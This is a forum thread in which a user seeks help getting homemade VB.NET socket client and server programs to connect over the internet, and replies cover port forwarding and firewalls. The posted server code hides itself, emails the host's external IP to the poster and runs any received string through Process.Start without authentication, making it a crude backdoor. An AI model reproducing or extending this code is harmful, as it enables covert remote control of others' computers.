Why the Client can't connect remotely with external IP?

Answered Why the Client can't connect remotely with external IP?

  • Sunday, April 01, 2012 6:26 PM
     
      Has Code

    Look, I have a server and a client working with sockets. I run the server at my laptop, sending its internal IP to my Hotmail account and I run my client at my desktop. I enter the internal IP and connect fine!
    But when I tried to connect with my cousin's PC, which is not in my network, I entered its external IP and the client couldn't connect.
    Here is the code for the Server (consists of 2 forms):

    Form 1 (Server):

    Imports System.Net
    Imports System.Net.Sockets
    Imports System.IO
    Imports Microsoft.Win32
    Imports System.Net.Mail
    
    Public Class HCS
        Dim port As Integer = 6961
        Dim sock As New TcpClient()
        Dim tcpc As New TcpListener(port)
    
        Private Sub listen()
            Try
                tcpc.Start()
                sock = tcpc.AcceptTcpClient()
            Catch ex As Exception
    
            End Try
    
        End Sub
    
        Private Sub check()
            If sock.Connected = True Then
                sock.SendTimeout = 5000
                Try
                    Dim nstream As NetworkStream = sock.GetStream
                    Dim bit(sock.ReceiveBufferSize) As Byte
                    nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
                    Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
                    Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
                    If id(0) = 0 Then
                        Dim stri As String = id(1)
                        Process.Start(stri)
                    End If
                Catch ex As Exception
                    check()
                End Try
            End If
        End Sub
    
       
    
       
    
        Private Sub HCS_Load(sender As Object, e As EventArgs) Handles MyBase.Load
            Helper.Show()
    
            While sock.Connected = False
                Try
                    listen()
                Catch ex As Exception
    
                End Try
            End While
    
            While True
                check()
            End While
    
            Me.Hide()
    
    
    
    
           
    
    
    
        End Sub
    
        
       
    End Class

    Form 2 (Helper):

    Imports System.Net
    Imports System.Net.Sockets
    Imports System.IO
    Imports Microsoft.Win32
    Imports System.Net.Mail
    Public Class Helper
    
    
    
        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    
            Dim client As New WebClient
            client.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)")
            Dim baseurl As String = "http://checkip.dyndns.org/"
            Dim proxy As IWebProxy = WebRequest.GetSystemWebProxy()
            proxy.Credentials = CredentialCache.DefaultNetworkCredentials
            client.Proxy = proxy
            Dim data As Stream
            Try
                data = client.OpenRead(baseurl)
            Catch ex As Exception
                MsgBox("open url " & ex.Message)
                Exit Sub
            End Try
            Dim reader As StreamReader = New StreamReader(data)
            Dim s As String = reader.ReadToEnd()
            data.Close()
            reader.Close()
            s = s.Replace("<html><head><title>Current IP Check</title></head><body>", "").Replace("</body></html>", "").ToString()
    
    
    
            Dim smtpServer As New SmtpClient()
            Dim mail As New MailMessage()
            smtpServer.Credentials = New Net.NetworkCredential("*********@hotmail.com", "**********")
            smtpServer.Port = 587
            smtpServer.Host = "smtp.live.com"
            smtpServer.EnableSsl = True
            mail = New MailMessage()
            mail.From = New MailAddress("*********@hotmail.com")
            mail.To.Add("********@hotmail.com")
            mail.Subject = "New IP detected for Hive Cluster!"
            mail.Body = s
            smtpServer.Send(mail)
            Me.Close()
    
    
        End Sub
    End Class

    and the code for the Client:

    Imports System.Net
    Imports System.Net.Sockets
    
    
    Public Class HCC
        Dim sock As New TcpClient()
        Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
        Dim port As Integer = 6961
    
        Private Sub connect()
            Try
                ip = IPAddress.Parse(TextBox1.Text)
                port = TextBox2.Text
                sock.Connect(ip, port)
                status.ForeColor = Color.Green
                status.Text = "Connected"
                Button1.Enabled = False
    
            Catch ex As Exception
                MsgBox("Cannot connect to designated IP at this time!", MsgBoxStyle.Information, "Hive Cluster Client")
                status.ForeColor = Color.Red
                status.Text = "Not connected"
            End Try
        End Sub
    
        Private Sub dat(ByVal dat As String)
            Dim nstream As NetworkStream = sock.GetStream()
            Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
            nstream.Write(bit, 0, bit.Length)
        End Sub
    
       
    
    
        Private Sub HCC_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    
        End Sub
    
        Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
            connect()
        End Sub
    
        Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
            Try
                dat("0*" + TextBox3.Text)
                TextBox3.Text = ""
            Catch ex As Exception
                MsgBox("Socket is not connected yet!", MsgBoxStyle.Information, Me.Text)
    
            End Try
    
        End Sub
    End Class
    
    So, any ideas?

All Replies

  • Sunday, April 01, 2012 6:51 PM
     
     Answered
    • "I entered its external IP and the client couldn't connect."

    Why? Do you get an error message? Which one and in which line?

    • "with my cousin's PC, which is not in my network, I entered its external IP "

    I'm not sure about the situation: On your cousins's PC, the client is running, and you're trying to connect to your laptop, which runs the server, and you've entered the external IP of which machine on your cousin's PC?

    On your cousin's PC, you must enter the external IP of your network (router), and on the router, you must forward it to your laptop. Firewall's must be configured correctly, too.


    Armin

  • Sunday, April 01, 2012 7:00 PM
     
     
    Addition: The overloaded constructor New(Integer) of the TcpListener is documented as obsolete and one of the other constructors should be used. That way you will also have to think about the IP address to bind the listener to. If it listens to your local network only, it might not receive data from outside.

    Armin

  • Sunday, April 01, 2012 7:16 PM
     
     

    The error is generated here:

    MsgBox("Cannot connect to designated IP at this time!", MsgBoxStyle.Information, "Hive Cluster Client")

    and the Firewall is configured right cause when my cousin ran the Server a message popup that told "The program may have limited access to your resources, do you want to add the program to the firewall trust list?" > Yes

  • Sunday, April 01, 2012 7:18 PM
     
     
    I forgot that the Client/Server ran under administrator privileges as well...
  • Sunday, April 01, 2012 7:39 PM
     
     

    That's a message box, not the location of the error. I'm guessing it's on the client in the lin "sock.Connect(ip, port)"

    The situation is still unclear: If the server is running on your cousin's PC, are you connecting from your desktop? What about the router settings I mentioned, and which IP has been entered?


    Armin

  • Sunday, April 01, 2012 7:45 PM
     
     

    Look when the server loaded up at my cousin's, with the Helper, his external IP sent to my Hotmail account.

    Then, I ran the client, entered that IP and pressed connect and then that message appeared...

  • Sunday, April 01, 2012 7:56 PM
     
     
    I'm afraid, I can't help if you don't provide the necessary information. Good luck!

    Armin

  • Sunday, April 01, 2012 8:14 PM
     
     
    What do you want to tell you to understand?
  • Tuesday, April 03, 2012 6:18 AM
    Moderator
     
     

    Hi Hell-zerg,

    Thanks for your posting.

    We need more information about your issue.

    1. You don’t show us the error information. The information “Hive Cluster Client” is provided by you, not the VS system. So I’m afraid that you need to show the ex.message. Or just remove the Try…Catch code and find the correct error line.

    2. You need to let us know the error environment. According to your description, it seems that the server is running in your cousin’s PC, and the Client is running in your PC. Is it right? At the same time, you also need to show us the setting of router both in your PC and your cousin’s PC.

    I look forwards to your reply.


    Mark Liu-lxf [MSFT]
    MSDN Community Support | Feedback to us

  • Tuesday, April 03, 2012 6:34 AM
     
     

    Hi Hell-Zerg,

    Can you ping from your cousin's PC to Server? If the ping result is somewhat like request time out or destination is unreachable then the network still has a problem.

    Regards


    Agung Gugiaji My application developer journals

  • Tuesday, April 03, 2012 8:29 AM
     
     

    Hi,

    Any Progress?

  • Wednesday, April 04, 2012 8:21 AM
     
     

    So, that's the 2 images, the first one without the Try... Catch... End Try and the other with the ex.message displayed:

    Which router settings should I show exactly?

  • Wednesday, April 04, 2012 8:43 AM
     
     

    Hi Hell-Zerg,

    Can you ping from your cousin's PC to Server? If the ping result is somewhat like request time out or destination is unreachable then the network still has a problem.

    Regards


    Agung Gugiaji My application developer journals

    Hi Hell-Zerg,

    this idea is good. But this means only that You can see the router from Your cousin, but not the computer behind him in the subnetwork. To achieve his You have to configure a port forwarding in both routers.

    Example:

    computer 1                        router1         internet                                router2                           computer2

    (192.168.2.100)                                                                              ( 85.74.125.238)           (192.168.2.199)

    (send message)                 (pass direct thrue)                                   (port forwarding)            (listening on port 5000)

    85.74.125.238:5000 --------------->     85.74.125.238:5000   ---->           >  192.168.2.199:5000 

    Do You understand this? all incoming frames from internet to router2 with port 5000 are redirected to computer2 OK?

    The client software makes a socket connect to 192.168.2.199 and is istening on port 5000

    regards Ellen


    Ich benutze/ I'm using VB2008 & VB2010



  • Wednesday, April 04, 2012 9:32 AM
     
     
    I didn't understand indeed...
  • Wednesday, April 04, 2012 10:08 AM
     
     
    I know the server is running on the cousin's PC. The code above is running on which machine? On your desktop? Is the IP you enter the external IP of your cousin, i.e. either of the machine itself (if there's no router), or of the router? Is port forwarding enabled on your cousin's router? On your desktop, does your own router allow outgoing packets to 6961?

    Armin

  • Wednesday, April 04, 2012 10:19 AM
     
     
    Look, the client is running on the desktop and the server in the background. When you run the server, an email is being sent to my Hotmail account including the external IP of my cousin's PC... How can I check if port forwarding is enabled on my cousin's router?
  • Wednesday, April 04, 2012 10:44 AM
     
     
    Look, the client is running on the desktop and the server in the background. When you run the server, an email is being sent to my Hotmail account including the external IP of my cousin's PC... How can I check if port forwarding is enabled on my cousin's router?

    You are making it really hard to understand. "on the desktop and the server in the background". On your desktop or on your cousin's desktop? What does "in the background" mean?

    Again: There are three networks. Your own local network, your cousin's local network, and the internet connecting both networks. Is this right? Or are your desktop, your cousin's PC (and your notebook) in the same local network?

    "How can I check if port forwarding is enabled on my cousin's router?" Check the manual of the router. This forum doesn't cover this question.


    Armin

  • Wednesday, April 04, 2012 10:49 AM
     
     
    YES, the client is running on MY desktop and the server running on my cousin's PC, which is not in my LOCAL NETWORK, and is in the background (not visible)…
  • Wednesday, April 04, 2012 10:40 PM
     
      Has Code

    :) i was so happy when u found this post, I've been searching the same topic for 5 weeks. No tutorials. Then.. i realized that this thread is new, and not complete. So i was sad again. Now i continue to search the world wide web to find a solution to this, if sockets can connect to external IPs. From what i read you can. But unfortunately there is no source code here so I'm back where i started, just like 5 weeks ago. :(

    Can someone just answer this question?:

    Dim Ip 'This is a Local-IP
    Sock.Connect(IP,Integer)'Some port so don't worry about it

    I know i have to handle Admin Priv, Port Fowarding.

    If i put some External-IP here instead of a Local one, will it work fine?

    Oh, and hey Zerg. Starcraft is still very fun. Starcraft II has some nice new maps if you know. Anyways GL.


    • Edited by Davud97 Wednesday, April 04, 2012 10:41 PM
    •  
  • Wednesday, April 04, 2012 10:48 PM
    Moderator
     
     
    I haven't read all of the responses in this thread and if its already been suggested, then please forgive me for not reading all posts here.  I am thinking you are having a port-forwarding issue, which should be set up inside of your router.

    Take a look here if this is something you have'nt looked in to.

    http://www.wikihow.com/Set-up-Port-Forwarding-on-a-Router


    If you want something you've never had, you need to do something you've never done. If you believe something to be true, then one day you will be called upon to demonstrate that truth.




  • Friday, April 06, 2012 9:15 PM
     
     
    I prefer playing Starcraft rather than Starcraft II :P
  • Wednesday, April 11, 2012 9:25 AM
     
     Answered

    Hello Hell-Zerg,

    please download this sample TCP . I have tested the communication between 2 computers via internet. This works perfect. Please notice:

    • in Field "remote IP address" enter the dynalias name of remote router
    • in fields Port choose 5000
    • field host socket IP will detected automatically
    • configure a port forwarding to each local IP on port 5000 in both routers

    success and regards Ellen


    Ich benutze/ I'm using VB2008 & VB2010

  • Thursday, April 12, 2012 8:42 PM
     
     

    Thanks

    ~Davud

  • Friday, April 13, 2012 5:44 PM
     
     

    @Davud

    please :-)

    ~Ellen


    Ich benutze/ I'm using VB2008 & VB2010